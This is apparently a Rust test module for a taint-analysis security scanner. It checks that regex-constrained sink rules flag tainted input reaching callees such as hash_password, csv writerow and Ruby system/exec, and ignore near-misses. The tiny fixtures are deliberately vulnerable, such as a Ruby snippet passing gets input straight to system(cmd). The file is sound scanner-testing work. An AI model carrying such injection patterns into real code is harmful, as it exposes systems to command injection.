          regex: (?i)(.*password.*)
"#,
        );

        // Callee `hash_password` matches `(?i).*password.*` → must fire.
        let fire_src = r#"
def handler():
    data = input()
    hash_password(data)
"#;
        let tree = parse_file(fire_src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(fire_src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "a tainted value reaching hash_password() (callee matches the regex) must fire, got {:?}",
            findings
        );

        // Near-miss: callee `log_event` does NOT match the regex → must NOT fire.
        let miss_src = r#"
def handler():
    data = input()
    log_event(data)
"#;
        let tree = parse_file(miss_src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(miss_src, &tree);
        assert!(
            findings.is_empty(),
            "a tainted value reaching a callee NOT matching the regex must not fire, got {:?}",
            findings
        );
    }

    /// `$WRITER.$WRITE(...)` + `metavariable-regex` on `$WRITE` →
    /// `MethodNameRegex`. A method call whose method name matches the regex
    /// fires; a method whose name does NOT match does not. Mirrors
    /// `csv-writer-injection` (`regex: ^(writerow|writerows|writeheader)$`).
    #[test]
    fn methodnameregex_sink_fires_on_matching_method_and_not_on_near_miss() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: py-csv-writer
mode: taint
languages: [python]
severity: ERROR
message: "Tainted input reaches a csv writer row method"
pattern-sources:
  - pattern: input(...)
pattern-sinks:
  - patterns:
      - pattern: $WRITER.$WRITE(...)
      - metavariable-regex:
          metavariable: $WRITE
          regex: ^(writerow|writerows|writeheader)$
"#,
        );

        // Method `writerow` matches the alternation → must fire.
        let fire_src = r#"
def handler(w):
    data = input()
    w.writerow(data)
"#;
        let tree = parse_file(fire_src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(fire_src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "tainted value into w.writerow() (method matches regex) must fire, got {:?}",
            findings
        );

        // Near-miss: method `flush` does NOT match the regex → must NOT fire.
        let miss_src = r#"
def handler(w):
    data = input()
    w.flush(data)
"#;
        let tree = parse_file(miss_src, Language::Python).expect("python fixture should parse");
        let findings = rule.check(miss_src, &tree);
        assert!(
            findings.is_empty(),
            "tainted value into a method NOT matching the regex must not fire, got {:?}",
            findings
        );
    }

    /// `$EXEC(...)` + an alternation `metavariable-regex` with DOTTED names
    /// (`IO.popen`) → `CallRegex` tested against the full callee text. The
    /// bare `system(...)` callee fires; `puts(...)` (not listed) does not.
    /// Mirrors `dangerous-exec` (Ruby).
    #[test]
    fn callregex_sink_matches_dotted_alternative_callee_and_not_near_miss() {
        use crate::engine::parser::parse_file;

        let rule = compiled(
            r#"
id: ruby-dangerous-exec-min
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted input reaches a command-execution function"
pattern-sources:
  - pattern: gets
pattern-sinks:
  - patterns:
      - pattern: $EXEC(...)
      - metavariable-regex:
          metavariable: $EXEC
          regex: ^(system|exec|IO.popen)$
"#,
        );

        // `system(cmd)` callee matches the alternation → must fire.
        let fire_src = r#"
def handler
  cmd = gets
  system(cmd)
end
"#;
        let tree = parse_file(fire_src, Language::Ruby).expect("ruby fixture should parse");
        let findings = rule.check(fire_src, &tree);
        assert_eq!(
            findings.len(),
            1,
            "tainted value into system() (callee matches regex) must fire, got {:?}",
            findings
        );

        // Near-miss: `puts(cmd)` is not in the alternation → must NOT fire.
        let miss_src = r#"
def handler
  cmd = gets
  puts(cmd)
end
"#;
        let tree = parse_file(miss_src, Language::Ruby).expect("ruby fixture should parse");
        let findings = rule.check(miss_src, &tree);
        assert!(
            findings.is_empty(),
            "tainted value into puts() (callee NOT matching the regex) must not fire, got {:?}",
            findings
        );
    }

    /// FP-safety guard: a bare-metavariable callee sink with NO pinning
    /// `metavariable-regex` must still compile to NOTHING (the sink role empties
    /// and the rule is skipped), so the regex-constrained path never relaxes the
    /// universal-callee refusal.
    #[test]
    fn bare_metavar_callee_sink_without_pin_still_compiles_to_nothing() {
        let v: YamlValue = serde_yaml_ng::from_str(
            r#"
id: py-unpinned-callee-sink
mode: taint
languages: [python]
severity: ERROR
message: "x"
pattern-sources:
  - pattern: input(...)
pattern-sinks:
  - patterns:
      - pattern: $FUNCTION(...)
"#,
        )
        .unwrap();
        assert!(
            matches!(parse_taint_rule(&v), TaintRuleParse::Skip(_)),
            "a bare-metavar callee sink with no metavariable-regex pin must not compile"
        );
    }
}